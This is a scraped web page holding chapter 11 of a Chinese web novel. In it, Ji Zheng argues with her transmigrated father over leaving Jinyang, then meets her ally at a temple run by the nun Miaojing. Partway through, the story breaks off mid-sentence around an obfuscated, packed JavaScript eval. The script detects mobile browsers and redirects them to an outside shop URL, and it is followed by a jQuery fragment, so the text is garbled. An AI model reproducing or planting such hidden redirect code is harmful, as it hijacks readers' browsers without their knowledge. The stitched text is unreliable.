11. 第11章

作品:《冥婚后重生了

    翌日清晨,看着季筝黑着眼圈坐在饭桌前,季天明心疼起来。


    “筝筝,是不是没睡好啊。”


    瞥了眼老爹,语气不善道:“当然没睡好,只要你一天不跟我走,我一天就不会睡踏实。”


    “哎,不是……”


    “不是什么,都到了如此地步,你还要跟我说你要做这个官?”想到九云昨晚受伤,她气就不打一处来。


    “你这孩子,爹大小也是个官,也不是说走就走的……”


    砰一声,季筝将竹筷落置碗边,眸色沉沉盯着他爹,“爹,到了如今,你还把我当小孩看?你留在晋阳到底打的什么心思,薛党许了你什么好处?”


    季天明看着女儿,莫名的,此时的她和小时候的她重叠起来,眼神中的执着没有随着年岁淡去,反而变得更为幽深。


    “你问这些干什么。”他侧过头。


    “我就要问!”季筝撕扯着喉咙,几乎要掀翻饭桌。


    “爹,爹只是想让你活的更好些……”


    “我不要更好,我要咱们在一起!”季筝一把将所有餐盘推倒在地,瓷器碎裂的声音将屋外的奴仆吓一大跳。


    “你既然生下我,为何要让我一个人去肃州!在这边养着别人的孩子很开心吗?”季筝眼睛布满红血丝,一方面是演的,一方面也是想真的质问下他,为何能做到如此。


    季天明捏着拳头,他低着头,只能看到眼皮微微颤抖。


    “筝筝,你觉得,现在是个太平盛世吗?”良久,季天明轻声问道。


    季筝没有吭声。


    “你觉得景安之乱就是最惨的事情了吗?”


    季天明穿越前是社会学教授,尽管这个大周不属于他所熟知的历史,但有些东西不会变,封建王朝最终会变成畸形的怪物。


    而这个大周,已经在异化的边缘。


    “咱们去肃州,不如出海……”


    “没有用,只要战争发生,所有的人都是刀下亡魂。”季天明神色间是化不开的忧色。


    “大旱三年,肃州边远之地百姓尚能吃饱,晋阳却每天都有人饿死,你进城后应该看见世家施粥,那些衣衫褴褛的领粥的人可不是什么流民,而是有户籍的百姓。”


    季筝想到什么,忍不住问道:“流民呢……”


    季天明顿了顿,说:“两年前,流民被杀了一次,原因是京兆尹夫人的平安扣丢了,经查是府内丫鬟偷出,换了银钱递给来投奔的叔父。”


    “……杀了多少?”


    “数千人。”季天明不再避讳。


    季筝倒吸一口凉气,便听季天明接着道:“如此杀业只为找到一只平安扣,可怕的是朝中无一人觉得此事有任何问题。”


    “你的薛党呢?”


    “京兆尹夫人本姓薛,是薛家旁支。”季天明语气已经很平静,似乎这样的事情已经见怪不怪。只不过仔细看,才能发觉他藏在眼底的讽刺。


    “这本来就是他们的计划,景安之乱最初就是流民发起,没有任何一个世家想要再看到那群人冲进府门。”


    那爹你呢?你做了什么?


    当这个念头出现,季筝悚然惊醒,她又怎么能要求她爹。


    知女莫若父,季天明察觉到她的想法,嘴角牵起一丝笑意,拍了拍女儿的肩膀,“放心,爹上了奏折,那些流民最后被拉去修陵墓了。没钱赈灾,但有钱修墓,在哪吃饭不是吃。”


    季筝低着头不作声,心口悄悄松了口气。


    “就是这样,这个世道已经烂了臭了,那些掌权的人,甚至是快要活不下去的百姓,都随时会变成野兽。”


    不等她开口,季天明接着道:“你知道爹来自于后世,应该也知道爹在这个世界已经死过一次。”


    季筝猛地抬起头,直直盯着季天明。


    他微微一笑,“你应该猜得到的不是吗?你这么聪明。”


    “我已经向命运低头一次,这一次无论如何都不会再逃。”


    前世他有机会苟活,可是身边所有人都被杀了。日月颠倒,黑白不分的吃人王朝让他生不出活下去的欲望。


    再次睁眼那一刻,他看着自己的双手,决定不逃了,既然又有了条命,斗到底又有何妨。


    唯一遗憾的是,他重生后遇到的夫人,那样一个好的妻子却在留下一个孩子给他后,难产而亡。


    女儿就是他的引绳,提醒着他,无论如何也要活下去,和女儿平平安安活下去。


    季筝以为自己是九岁和他闹翻才离开,其实早在他夫人去世那一刻,他就做了女儿要被送走的准备。


    父女俩没有吭声,良久,季筝开口:“所以,您是有了打算?”


    “当然,不然你老爹我何必投奔薛党与虎谋皮。”季天明语气分外轻松,似乎这是一件再简单不过的事情。


    “你到底要干什么?”季筝忍不住担心。


    谁知季天明笑了起来:“放心吧筝筝,你就在肃州好好挣钱,爹既然答应了你退休过去养老,那便一定会做到。至于这里,交给爹,咱们父女分工明确,爹有九成把握,这一切都即将结束。”


    季筝看着他,毫不怀疑老爹这话是真心的而不是糊弄她。


    可生命就是很脆弱啊,死亡是随时随地在发生的,她可以因为一场本不严重的中毒而死,谢淮渊这样的从无败战的战神也会因为遭了暗算而死。


    甚至于,一根树枝,一颗石子都可要人命。


    你怎么又能做到呢?季筝想到前世自己魂魄消散前的感知,抹了抹眼睛。


    “所以就算我在肃州差点中毒死掉?”


    季天明神色微变,放在膝上的双手悄然握紧,声音喑哑:“这件事,不会就这么算了。”


    骗子,大骗子。


    季筝不再说什么,表示自己会尽快离开。


    见她真答应了,季天明反而惆怅起来,看着她张了张嘴,最终还是没说什么。


    下午季筝就开始收拾东西,季天明连忙将给她早就准备好要带走的东西都拉了过来。


    “看看,还缺什么?”他问着梁行,眼睛却还是瞅着女儿。


    梁行接过物品单子看了起来,随后忍不住笑出声:“您这手笔真大,不会将家底都掏空了吧。”


    季天明瞪了他一眼,“你小子懂什么。”


    他是要在这乱世挣条出路不假,但可没打算真当苦行僧一样,好歹也是入了薛党的门,吃穿住行已经很克制了,再要省下去,他自个儿都会觉得很奇怪。


    这个封建王朝,没钱是寸步难行的。


    “我爹看了肯定很高兴。”梁行笑着道,他爹这两年一直念叨要搞点好东西,省的娘子看对眼哪个郎君拿不出聘礼怎么办。


    季天明闻言还忍不住交代什么,那边季筝看到两人有说有笑,没好气道:“阿行,套车。”


    “诶,来了。”梁行马上收起单子小跑过去。


    见他们套这车要出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405909|200507||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门,季天明跟过去问道:“这会出什么门?”


    季筝不理她,还是九云看他眼巴巴的模样才说道:“娘子还要买一些东西。”


    “买什么?爹……”


    “驾!”


    季筝探身甩了马屁股一鞭子,梁行立刻抓紧缰绳。


    等出了府门,九云问:“娘子,咱们这是走还是不走?”


    “不急。”季筝此时情绪平静的有点可怕,远没有在季天明面前那般。


    梁行和九云对视一眼,不知为何,心头有了不好的预感。


    云若寺。


    贺兰月老远看见他们的马车,立马招手示意。


    “怎么等在这里?”季筝跳下马车,看着她。


    贺兰月神色很难看,小声道:“妙镜今天接待鲁国公夫人。”


    季筝闻言挑了挑眉,有几分意外:“等了多久?”


    “一个时辰。”


    季筝拍了拍她的手,说:“进去说。”


    几人走进云若寺,季筝被眼前的景象所震惊。


    云若寺虽然有名,但几年前在佛教盛行的下都并不显眼,且由于地处偏僻,很多官家女子会在此修行,至于为何来,各家有各家的说法。


    如今几年下来,这寺已经大的没边了,季筝大概看了一眼,随后看向贺兰月。


    “已经四百亩,妙镜确实很厉害。”她神色很沉。


    季筝神色很惊讶。


    说起这个贺兰月就来气,不管是这云若寺还是妙镜,都是她当初选了几个地方后,寄信给季筝,两人来信商讨数月才定下的。


    妙镜原是中郡太守从淮南带来的小妾,据说从小在教坊司长大,后来因给正室夫人下药要被打死而被贺兰月所救。


    贺兰月当时救过很多女人,大部分生计潦倒都是因为外力,她给了她们庇护,就算暂时不能脱离贱籍,也可以在竹月商号里织布。


    偏偏这个妙镜不是被冤枉,她是真的给正室下了药,贺兰月当时调查清楚时,她还躺在床上下不来,刚刚保住命。


    后来季筝给她说了这个计划,她找了几个人,最终人选落到不愿意去织布的妙镜头上。


    而妙镜就是要报仇,因为她全家就是被中郡太守所杀。


    贺兰月查了一下,发现这太守干过的坏事不少,尤其喜欢十岁之下的少女,而他夫人也不知是何脑回路,每个丈夫玩腻的女孩最终都会落到她手里被虐杀。


    妙镜便是看到太多,当自己命运也落于头上那一刻起,她选择先下手为强。


    如此,季筝便明白,这个妙镜到底哪里出了问题。


    进去后,两人被小沙弥引到了侧厅等候,看着这名年纪不大,长相俊美白净,浑身熏着佛香的“小沙弥”,季筝瞅了一眼贺兰月。


    后者端起茶杯,赶紧喝了一口。


    “您稍等,法师已经在送客。”


    “剑南蒙顶石花。”季筝尝了口,讶异道:“还放了蜜,这不是阿月你的最爱?”


    贺兰月顿时觉得端着的茶杯也烫手了。


    不等她开口,门外传来一阵脚步声。


    季筝侧目看去,只见门外出现一名长相温和良善,看起来年方二十岁左右的比丘尼,身着素色覆肩衫,身姿轻盈。


    “贺兰娘子,久等了。”她音色比今日的春风还要温和,说话时眼神看着贺兰月,带着不多不少的歉意,不谄媚不讨好。


    季筝放下茶杯,嘴角勾起笑意。